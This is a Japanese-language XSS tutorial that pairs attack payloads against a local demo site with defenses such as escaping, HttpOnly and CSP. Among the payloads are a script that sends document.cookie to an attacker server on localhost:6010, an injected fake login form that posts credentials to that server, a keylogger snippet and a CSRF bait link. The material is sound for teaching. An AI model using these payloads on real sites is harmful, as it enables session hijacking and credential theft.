【重要】この資料にある攻撃コードの利用について
本資料に含まれるXSSの攻撃コードや手法は、
あくまで学習・検証目的のためにローカル環境やテスト環境でのみ実行してください。
実際のWebサイトや他人のサービス、公開環境での攻撃行為・悪用は法律違反であり、厳しく処罰されます。
絶対に悪用しないでください。
XSS(クロスサイトスクリプティング)
XSSは、Webサイトの脆弱性を利用して不正なスクリプトを埋め込む攻撃です。
XSSの種類
- 反射型XSS: 特定のリンクをクリックした際に実行されます。
- 格納型XSS: 訪問者がページをアクセスするたびにスクリプトが実行されます。
- DOM Based XSS: DOMを悪用するため、サーバーを通さず、クライアント側で攻撃が成立します。
そもそもDOMとは何か?
DOM(Document Object Model)は、HTMLを「プログラムから操作しやすい形」にしたルールや仕組みです。具体的には以下のような操作が可能です。
- 見出しや段落のテキストを書き換える
- ボタンをクリックしたときの動きを決める
- 新しい要素を追加・削除する
脆弱性を見分けるには
簡単なものから試してみると良いでしょう。
'>''><hr>
様々な攻撃手法
典型的な例
<script>alert("xss")</script>
セッションIDを盗む
- HTMLに埋め込む
<script>alert(document.cookie)</script>
- リンクに注入
javascript:alert(document.cookie);
例:
<a href="javascript:alert(document.cookie);">クッキーを表示</a>
ヌルバイト攻撃
%00<script>alert("xss")</script>
※ヌルバイト攻撃とは、%00(ヌルバイト)を挿入し、プログラムの動作を変更します。
DOMXSS
<img src="x" onerror="alert('XSS')">
<input value="" onmouseover="alert(1)" />
onmouseover
を使うと、マウスカーソルを合わせるたびにJavaScriptが実行されます。
キーロガー
<script>
document.onkeydown = function(e) {
alert('押されたキー: ' + e.key + '\nコード: ' + e.code + '\nキーコード: ' + e.keyCode);
};
</script>
※キーロガーとは、キーボードの入力を記録するプログラムのことです。
簡易的なデモサイトを作ってみた
ファイル構成
xss-demo
├── attacker
│ ├── node_modules
│ ├── attacker-server.js
│ ├── package.json
│ ├── package-lock.json
│ ├── stolen-data.txt
│ └── csrf.html
├── db.sqlite3
├── index.html
├── keizi.php
├── login.php
├── post.php
├── view.php
└── delete.php
デモサイトに攻撃してみよう
Cookieを盗むスクリプト
<script>
location.href = 'http://localhost:6010/getCookie?cookie=' + document.cookie;
</script>
フィッシングフォームを表示
<script>
document.body.innerHTML = `
<form method="POST" action="http://localhost:6010/getLogin">
<div>ユーザー名:<br><input type="text" name="id"></div>
<div>パスワード:<br><input type="password" name="password"></div>
<input type="submit" value="ログイン">
</form>
`;
</script>
CSRF
<a href="http://localhost:3000/xss-demo/attacker/csrf.html">100万円今ならもらえる!</a>
XSSの対策
- WAFの導入
- エスケープ処理、サニタイジングを行う
- Set-CookieフィールドのHttpOnly属性の追加
- Content-Security-Policy (CSP)
PHPにおけるXSS対策
- 出力時におけるエスケープ
htmlspecialchars関数の使用
htmlspecialchars(文字列, エスケープの方法, 文字コード)
元のコード:
<?= $post['name'] ?>: <?= $post['content'] ?>
エスケープ後:
<?= htmlspecialchars($post['name'], ENT_QUOTES, 'UTF-8') ?>: <?= htmlspecialchars($post['content'], ENT_QUOTES, 'UTF-8') ?>
JavaScriptにおけるXSS対策
replace関数の使用
replace(第1引数, 第2引数)
第1引数: 検索する文字列または正規表現
第2引数: 置き換える文字列または関数
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
※順番が大切です。&のエスケープを後にすると二重に変換されてしまうので、最初に&をエスケープするようにしましょう。
JSONのエンコード
JSON.stringify(JSON形式のデータ)
以下のコードを実行:
const data = {
memos: [
{
title: "勉強メモ",
content: "HTMLとJavaScriptを復習する"
},
{
title: "買い物",
content: "牛乳とパンを買う"
}
]
};
console.log(data);
結果
これをJSON.stringify()
を使用してエンコードしてみます。
const encodeData = JSON.stringify(data);
console.log(encodeData);
このように文字列として出力されました。また、HTMLとしてブラウザに表示させる場合は以下のようにします。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>memo</title>
</head>
<body>
<h2>memoを表示</h2>
<div id="output"></div>
<script>
const data = {
memos: [
{
title: "<img src=x onerror=alert('XSS!')>",
content: "このメモは危険です"
}
]
};
const encodeData = JSON.stringify(data);
const output = document.getElementById('output');
output.textContent = encodeData;
</script>
</body>
</html>
innerHTML
で入力するのはダメです!これだとXSSが発生してしまうので、textContent
を使用するようにしましょう。
HttpOnly属性
Cookieに指定できる属性の一つで、これをつけるとJavaScriptからそのCookieを見ることができなくなります。
setcookie("session_id", $session_id, [
'httponly' => false, // JavaScriptからアクセス可能(trueならJavaScript不可)
'secure' => false, // HTTPSならtrueにして安全に(falseだとHTTPでも送信)
'samesite' => 'Lax', // クロスサイトリクエスト時のクッキー送信制限(Laxは緩め)
'path' => '/', // クッキーが有効なパス(全ページで有効)
]);
このhttponly
の部分をfalse
からtrue
に変更すると、以下のスクリプト文でセッションIDが盗めなくなります。
<script>alert(document.cookie)</script>
CSP(コンテンツセキュリティポリシー)
このページでどこからデータを読み込んでいいか、どんなスクリプトを動かしていいかをブラウザに伝えるルールのことです。
// Content-Security-Policy ヘッダーを送信
// default-src 'self' : すべてのリソースの取得元を自サイトのドメイン('self')のみに制限
// script-src 'self' : JavaScriptの取得元も自サイトのドメインのみに制限。
// そのため外部スクリプトやインラインスクリプトはブロックされる。
// (インラインスクリプトを許可したい場合は 'unsafe-inline' を追加)
// 例)script-src 'self' https://example.com;
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
<参考資料>
安全なWebアプリケーションの作り方 著/徳丸浩
https://www.netattest.com/null-byte-attack-2024_mkt_tst
https://www.c-ntn.co.jp/knowledge/xss-2/
https://learning-next.app/blog/frontend-development/what-is-dom
https://www.ubsecure.jp/blog/dom-based-xss
https://www.tohoho-web.com/ex/xss.html
https://www.nttpc.co.jp/column/security/cross_site_scripting.html
https://agohack.com/how-to-escape-with-htmlspecialchars/
https://www.saxa.co.jp/saxa-dx_navi/case-study/ca0070-security-u02-n003.html
https://www.webdesignleaves.com/pr/jquery/js-replace.html
https://www.furikatu.com/2025/04/secure-xss-attacks.html
https://cybersecurity-jp.com/column/102487